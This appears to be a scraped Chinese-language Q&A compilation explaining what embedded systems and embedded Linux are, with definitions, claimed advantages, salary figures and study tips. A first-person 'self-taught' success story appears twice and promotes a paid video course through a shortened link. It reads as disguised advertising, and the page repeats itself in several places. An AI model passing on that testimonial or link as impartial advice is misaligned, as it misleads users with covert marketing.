從應用物件上加以定義,嵌入式系統是軟體和硬體的綜合體,還可以涵蓋機械等附屬裝置。國內普遍認同的嵌入式系統定義為:以應用為中心,以計算機技術為基礎,軟硬體可裁剪,適應應用系統對功能、可靠性、成本、體積、功耗等嚴格要求的專用計算機系統。
嵌入式 是做什麼的?
嵌入式實際上是軟體硬體相結合的嵌入式系統。
軟體一般是一種計算機作業系統,比如linux硬體則是執行使用者要求的執行裝置,比如小電機,電路板等等。
做嵌入式開發,則分為軟體開發和硬體開發兩方面。
我現在的工作就屬於嵌入式,是電視機的開發。
需要學習的有:
軟體上至少要掌握一種作業系統比如Linux,一門程式語言比如C語言,還要掌握一些與硬體會話的匯編和編譯原理等。
硬體方面至少要有電路基礎。
嵌入式系統是什麼意思?
根據IEEE(國際電機工程師協會)的定義,嵌入式系統是「控制、監視或者輔助裝置、機器和裝置執行的裝置」(原文為devices used to control, monitor, or assist the operation of equipment, machinery or plants)。這主要是從應用上加以定義的,從中可以看出嵌入式系統是軟體和硬體的綜合體,還可以涵蓋機械等附屬裝置。
這個定義上,可從幾方面來理解嵌入式系統:
◆嵌入式系統是面向使用者、面向產品、面向應用的,它必須與具體應用相結合才會具有生命力、才更具有優勢。因此可以這樣理解上述三個面向的含義,即嵌入式系統是與應用緊密結合的,它具有很強的專用性,必須結合實際系統需求進行合理的裁減利用。
◆嵌入式系統是將先進的計算機技術、半導體技術和電子技術和各個行貳的具體應用相結合後的產物,這一點就決定了它必然是一個技術密集、資金密集、高度分散、不斷創新的知識整合系統。所以,介入嵌入式系統行業,必須有一個正確的定位。例如Palm之所以在PDA領域佔有70%以上的市場,就是因為其立足於個人電子消費品,著重發展圖形介面和多工管理;而風河的Vxworks之所以在火星車上得以應用,則是因為其高實時性和高可靠性。
◆嵌入式系統必須根據應用需求對軟硬體進行裁剪,滿足應用系統的功能、可靠性、成本、體積等要求。所以,如果能建立相對通用的軟硬體基礎,然後在其上開發出適應各種需要的系統,是一個比較好的發展模式。目前的嵌入式系統的核心往往是一個只有幾K到幾十K微核心,需要根據實際的使用進行功能擴充套件或者裁減,但是由於微核心的存在,使得這種擴充套件能夠非常順利的進行。
實際上,嵌入式系統本身是一個外延極廣的名詞,凡是與產品結合在一起的具有嵌入式特點的控制系統都可以叫嵌入式系李鄭統,而且有時很難以給它下一個准確的定義。現在人們講嵌入式系統時,某種程度上指近些年比較熱的具有作業系統的嵌入式系統,本文在進行分析和展望時,也沿用這一觀點。
一般而言,嵌入式系統的構架可以分成四個部分:處理器、儲存器、輸入輸出(I/O)和軟體(由於多數嵌入式裝置的應用軟體和作業系統都是緊密結合的,在這里我們對其不加區分,這也是嵌入式系統和Windows系統的最大區別)。
嵌入式是什麼意思呢?
嵌入式linux
嵌入式 Linux是以Linux為基礎的嵌入式作業系統,它被廣泛應用在行動電話、個人數字助理(PDA)、媒體播放器、消費性電子產品以及航空航天等領域中。
1. 嵌入式Linux系統就是利用Linux其自身的許多特點,把它應用到嵌入式系統里。
Linux做嵌入式的優勢,首先,Linux是開放原始碼的,不存在黑箱技術,遍布全球的眾多Linux愛好者又是Linux開發者的強大技術支援;其次,Linux的核心小、效率高,核心的更新速度很快,linux是可以定製的,其系統核心最小隻有約134KB。第三,Linux是免費的OS,在價格上極具競爭力。 Linux還有著嵌入式作業系統所需要的很多特色,突出的就是Linux適應於多種CPU和多種硬體平台,是一個跨平台的系統。到目前為止,它可以支援二三十種CPU。而且效能穩定,裁剪性很好,開發和使用都很容易。很多CPU包括家電業晶片,都開始做Linux的平台移植工作。移植的速度遠遠超過Java的開發環境。也就是說,如果今天用Linux環境開發產品,那麼將來換CPU就不會遇到困擾。同時,Linux核心的結構在網路方面是非常完整的,Linux對網路中最常用的TCP/IP協議有最完備的支援。提供了包括十兆、百兆、千兆的乙太網路,以及無線網路,Toker ring(令牌環網)、光纖甚至衛星的支援。所以Linux很適於做資訊家電的開發。
還有使用Linux為的是來開發無線連線產品的開發者越來越多。Linux在快速增長的無線連線應用主場中有一個非常重要的優勢,就是有足夠快的開發速度。這是因為LInux有很多工具,並且Linux為眾多程式設計師所熟悉。因此,我們要在嵌入式系統中使用Linux作業系統。
Linux的大小適合嵌入式作業系統——Linux固有的模組性,適應性和可配置性,使得這很容易做到。另外,Linux原始碼的實用性和成千上萬的程式設計師熱切其望它用於無數的嵌入式應用軟體中,導致很多嵌入式Linux的出現,包括:Embedix,ETLinux,LEM,Linux Router Project,LOAF,uCLinux,muLinux,ThinLinux,FirePlug,Linux和PizzaBox Linux
相對,Linux的圖形介面還相對較弱,但近年Linux的圖形介面發展也很快,這也就不是問題。
2. 什麼是嵌入式Linux
嵌入式linux 是將日益流行的Linux作業系統進行裁剪修改使之能在嵌入式計算機系
統上執行的一種作業系統嵌入式linux既繼承了Interlnet上無限的開放原始碼資源又具有嵌
入式作業系統的特性 嵌入式Linux的特點是版權費免費;購買費用媒介成本技術支援全世界的自由軟體
開發者提供支援網路特性免費而且效能優異軟體移植容易程式碼開放有許多應用軟
件支援應用產品開發周期短新產品上市迅速因為有許多公開的程式碼可以參考和移植
實時效能RT_Linux Hardhat Linux 等嵌入式Linux支援實時效能穩定性好安全性好
3. 嵌入式Linux有巨大的市場前景和商業機會出現了大量的專業公司和產品如Montavista
Lineo Emi等有行業協會如Embedded Linux Consortum等得到世界著名計算機公司和OEM
板級廠商的支援例如IBM Motorola Intel等 傳統的嵌入式系統廠商也採用了Linux策略 如
Lynxworks Windriver QNX等還有Internet上的大量嵌入式Linux愛好......
嵌入式系統開發到底是做什麼的
嵌入式系統開發就是對於除了電腦之外的所有電子裝置上作業系統的開發,開發物件有手機,掌上電腦,機電系統等。
嵌入式系統是以應用為中心,以計算機技術為基礎,並且軟硬體可裁剪,適用於應用系統對功能、可靠性、成本、體積、功耗有嚴格要求的專用計算機系統。它一般由嵌入式微處理器、外圍硬體裝置、嵌入式作業系統以及用 戶的應用程式等四個部分組成,用於實現對其他裝置的控制、監視或管理等功能
嵌入式系統一般指非PC系統,它包括硬體和軟體兩部分。硬體包括處理器/微處理器、儲存器及外設器件和I/O埠、圖形控制器等。軟體部分包括作業系統軟體(OS)(要求實時和多工操作)和應用程式程式設計。有時設計人員把這兩種軟體組合在一起。應用程式控制著系統的運作和行為;而作業系統控制著應用程式程式設計與硬體的互動作用。
………………………………………………………………………………
嵌入式系統非常難,但是嵌入式開發前景也是非常好的,一般從事嵌入式開發的待遇都在6000-15000之間。怎樣
學習嵌入式,我剛才看到一篇很不錯的文章,是一個專科生介紹自己如何自學嵌入式,並找到嵌入式的工作,裡面介紹了他的學習方法和學習過程,希望對你有幫助。
先做個自我介紹,我07年考上一所很爛專科民辦的學校,學的是生物專業,具體的學校名稱我就不說出來獻丑了。09年我就輟學了,我在那樣的學校,一年學費要1萬多,但是根本沒有人學習,我實在看不到希望,我就退學了。
退學後我也迷茫,大專都沒有畢業,我真的不知道我能幹什麼,我在糾結著我能做什麼。所以輟學後我一段時間,我想去找工作,因為我比較沉默寡言,不是很會說話,我不適合去應聘做業務。我想應聘做技術的,可是處處碰壁。
一次偶然的機會,我才聽到嵌入式這個行業。那天我去新華書店,在計算機分類那邊想找本書學習。後來有個女孩子走過來,問我是不是讀計算機的,有沒有興趣學習嵌入式,然後給我介紹了一下嵌入式現在的火熱情況,告訴我學嵌入式多麼的有前景,給我了一份傳單,嵌入式培訓的廣告。聽了她的介紹,我心裡癢癢的,確實我很想去學會一門自己的技術,靠自己的雙手吃飯。
回家後,我就上網查了下嵌入式,確實是當今比較熱門的行業,也是比較好找工作的,工資也是相對比較高。我就下決心想學嵌入式了。於是我去找嵌入式培訓的相關資訊,說真的,我也很迷茫,我不知道培訓是否真的能像他們宣傳的那樣好,所以我就想了解一段時間再做打算。
後來,我在網路知道看到一篇讓我很鼓舞的文章,是一個嵌入式高手介紹沒有基礎的朋友怎麼自學入門學嵌入式,文章寫的很好,包含了如何學習,該怎麼學習。他提到一個方法就是看視訊,因為看書實在太枯燥和費解的,很多我們也看不懂。這點我真的很認同,我自己看書往往看不了幾頁。
我在想,為什麼別人都能自學成才,我也可以的!我要相信自己,所以我就想自學,如果實在學不會我再去培訓。
主意一定,我就去搜索嵌入式的視訊,雖然零星找到一些嵌入式的視訊,但是都不系統,我是想找一個能夠告訴我該怎麼學的視訊,一套從入門到精通的視訊,一個比較完整的資料,最好能有老師教,不懂可以請教的。
後來我又找到一份很好的視訊,是在IT學習聯盟網站推出的一份視訊《零基礎嵌入式就業班》(喜歡《零基礎嵌入式就業班》的可以復制 sina.lt/qKh 貼上瀏覽器位址列按回車鍵即開啟)。裡面的教程還不錯,很完整,可以讓我從基礎的開始學起。視訊比較便宜。
下面介紹下我的學習流程,希望對和我一樣完全沒有基礎的朋友有所幫助。
......
嵌入式是什麼意思?
1、簡單的說就是用於控制、監視或者輔助操作機器和裝置的裝置。
2、可以理解為微型電腦。比如平板電腦就是一個嵌入式系統,智慧手機也是嵌入式系統,銀行取款機也是.......可以說凡是能智慧互動控制的都是嵌入式系統。
3、打個比方說:拿一個嵌入式開發板,裝上螢幕,就能成為平板電腦。裝個溫度探測器,就可以成為溫度檢測儀。裝個螢幕+GPS模組,就能成為車載導航儀。裝個讀卡器+3G模組,就可以成為POS機......當然實際開發起來沒有說的這么簡單,會設計硬體開發+軟體開發等各方面。
嵌入式是干什麼的
嵌入式系統通常是指內部包含只能控制器的裝置,它具有整合度高,體積小、反應速度快、智慧化、穩定及可靠性強等特點。 舉一個簡單的例子就能明白了 比如說我們的電腦都裝有作業系統,因為安裝了作業系統以後會使電腦的效用被充分的利用起來,但是現在智慧化的裝置、各種儀器、電子裝置越來越多,比如說我們的手機、智慧洗衣機、智慧電冰箱等等,這些東西不可能把電腦用的作業系統安裝在其中,只能開發一些體積小的、功能完備的小型系統安裝在這些東西上,被安裝的這些作業系統就叫做「嵌入式的作業系統」
嵌入式軟體工程師是做什麼的
嵌入式系統是以應用為中心,以計算機技術為基礎,並且軟硬體可裁剪,適用於應用系統對功能、可靠性、成本、體積、功耗有嚴格要求的專用計算機系統。它一般由嵌入式微處理器、外圍硬體裝置、嵌入式作業系統以及使用者的應用程式等四個部分組成,用於實現對其他裝置的控制、監視或管理等功能。
嵌入式軟體工程師就是編寫嵌入式系統的工程師。
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
想成為嵌入式工程師,就需要學習嵌入式,怎樣學習嵌入式,我剛才看到一篇很不錯的文章,是一個專科生介紹自己如何自學嵌入式,並找到嵌入式的工作,裡面介紹了他的學習方法和學習過程,希望對你有幫助。
先做個自我介紹,我07年考上一所很爛專科民辦的學校,學的是生物專業,具體的學校名稱我就不說出來獻丑了。09年我就輟學了,我在那樣的學校,一年學費要1萬多,但是根本沒有人學習,我實在看不到希望,我就退學了。
退學後我也迷茫,大專都沒有畢業,我真的不知道我能幹什麼,我在糾結著我能做什麼。所以輟學後我一段時間,我想去找工作,因為我比較沉默寡言,不是很會說話,我不適合去應聘做業務。我想應聘做技術的,可是處處碰壁。
一次偶然的機會,我才聽到嵌入式這個行業。那天我去新華書店,在計算機分類那邊想找本書學習。後來有個女孩子走過來,問我是不是讀計算機的,有沒有興趣學習嵌入式,然後給我介紹了一下嵌入式現在的火熱情況,告訴我學嵌入式多麼的有前景,給我了一份傳單,嵌入式培訓的廣告。聽了她的介紹,我心裡癢癢的,確實我很想去學會一門自己的技術,靠自己的雙手吃飯。
回家後,我就上網查了下嵌入式,確實是當今比較熱門的行業,也是比較好找工作的,工資也是相對比較高。我就下決心想學嵌入式了。於是我去找嵌入式培訓的相關資訊,說真的,我也很迷茫,我不知道培訓是否真的能像他們宣傳的那樣好,所以我就想了解一段時間再做打算。
後來,我在網路知道看到一篇讓我很鼓舞的文章《如何學習嵌入式》,是一個嵌入式高手介紹沒有基礎的朋友怎麼自學入門學嵌入式,文章寫的很好,包含了如何學習,該怎麼學習。他提到一個方法就是看視訊,因為看書實在太枯燥和費解的,很多我們也看不懂。這點我真的很認同,我自己看書往往看不了幾頁。
我在想,為什麼別人都能自學成才,我也可以的!我要相信自己,所以我就想自學,如果實在學不會我再去培訓。
主意一定,我就去搜索嵌入式的視訊,雖然零星找到一些嵌入式的視訊,但是都不系統,我是想找一個能夠告訴我該怎麼學的視訊,一套從入門到精通的視訊,一個比較完整的資料,最好能有老師教,不懂可以請教的。
後來我又找到一份很好的視訊,是在IT學習聯盟網站推出的一份視訊《零基礎嵌入式就業班》(喜歡《零基礎嵌入式就業班》的可以復制 sina.lt/qKh 貼上瀏覽器按回車鍵即開啟)。裡面的教程還不錯,很完整,可以讓我從基礎的開始學起。視訊比較便宜。
下面介紹下我的學習流程,希望對和我一樣完全沒有基礎的朋友有所幫助。
收到他們寄過來的光碟後,我就開始學習了,由於我沒有什麼基礎,我就從最簡單的C語言視訊教程學起,話說簡單,其實我還是很多不懂的,我只好請教他們,他們還是很熱心的,都幫我解決了。C語言我差不多學了一個禮拜,接下來我就學了linux的基本命令,我在他們提供linux虛擬機器上都有做練習,敲linux的基本命令,寫簡單的C語言程式碼,差不多也就三個禮拜。我每天都在不停的寫一些簡單的程式碼,這樣一月後我基本掌握了C和linux的基本操作。
......
嵌入式系統到底是什麼
書的話我推薦《嵌入式linux應用開發完全手冊》,很不錯,你有什麼問題可以問我,我通訊大三目前也在研究嵌入式,步驟大致如下:
第一步: 嵌入式開發 pcb設計,一般為開發板的電路裁減和擴充,由開發板原理圖為基礎,畫出PCB和封裝庫,設計自己的電路。
第二步: SOPC技術,一般為FPGA,CPLD開發,利用VHDL等硬體描述語言做專用arm晶片開發,寫出自己的邏輯電路,基於ALTER或XILINUX的FPGA做開發。Arm9
第三步: SOC設計,分前端,後端實現,這是硬體設計的核心技術:晶片設計.能做到這步,已經不屬於平凡的技術人員。arm9開發板
軟體道路: